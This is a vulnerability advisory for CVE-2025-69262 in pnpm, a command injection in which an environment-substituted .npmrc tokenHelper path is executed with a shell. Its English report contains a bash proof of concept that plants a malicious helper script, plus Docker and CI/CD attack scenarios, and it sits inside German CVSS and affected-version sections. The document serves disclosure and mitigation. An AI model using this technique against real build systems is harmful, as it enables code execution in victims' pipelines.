CVE-2025-69262
pnpm vulnerable to Command Injection via environment variable substitution
Auswirkung
## Summary A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments. ## Affected Components - **Package**: pnpm - **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality - **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function - **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution ## Technical Details ### Vulnerability Chain 1. **Environment Variable Substitution** - `.npmrc` supports `${VAR}` syntax - Substitution occurs in `readLocalConfig()` 2. **loadToken Execution** - Uses `spawnSync(helperPath, { shell: true })` - Only validates absolute path existence 3. **Attack Flow** ``` .npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved ``` ### Code Evidence **`pnpm/config/config/src/readLocalConfig.ts:17-18`** ```typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key) ``` **`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`** ```typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... } ``` ## Proof of Concept ### Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem ### PoC Steps ```bash # 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh # 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF # 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh # 4. Trigger pnpm install pnpm install # RCE occurs during auth # 5. Verify attack cat /tmp/rce-log.txt ``` ### PoC Results ``` ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed ``` ## Impact ### Severity - **CVSS Score**: 7.6 (High) - **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H ### Affected Environments **High Risk:** - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users **Low Risk:** - Public registry only - Production runtime (no pnpm execution) - Static sites ### Attack Scenarios **Scenario 1: CI/CD Supply Chain** ``` Repository → Build Trigger → pnpm install → RCE → Production Deploy ``` **Scenario 2: Docker Build** ```dockerfile FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE ``` **Scenario 3: Kubernetes** ``` Secret Control → Env Variable → .npmrc Substitution → RCE ``` ## Mitigation ### Temporary Workarounds **Disable tokenHelper:** ```ini # .npmrc # registry.npmjs.org/:tokenHelper=${HELPER_PATH} ``` **Use direct tokens:** ```ini //registry.npmjs.org/:_authToken=YOUR_TOKEN ``` **Audit environment variables:** - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs ### Recommended Fixes 1. Remove `shell: true` from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing ## Disclosure - **Discovery**: 2025-11-02 - **PoC**: 2025-11-02 - **Report**: [Pending disclosure decision] ## References - Repository: https://github.com/pnpm/pnpm - Affected: `@pnpm/config.env-replace@^3.0.2` - Similar: CVE-2024-53866, CVE-2023-37478 ## Credit Reported by: Jiyong Yang Contact: sy2n0@naver.com
Ein Angreifer kann die Lücke mit lokalem Zugriff auf das System ausnutzen, mit einem Administratorkonto, ohne Zutun eines Nutzers. Dafür müssen bestimmte Bedingungen erfüllt sein, was einen Angriff erschwert. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden, hohes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.
Betroffene Pakete
| Ökosystem | Paket | Betroffen | Behoben in |
|---|---|---|---|
| npm | pnpm | >= 6.25.0, < 10.27.0 | 10.27.0 |
Betroffene Produkte · Pnpm
| Produkt | Betroffene Versionen |
|---|---|
| Pnpm | ab 6.25.0 vor 10.27.0 |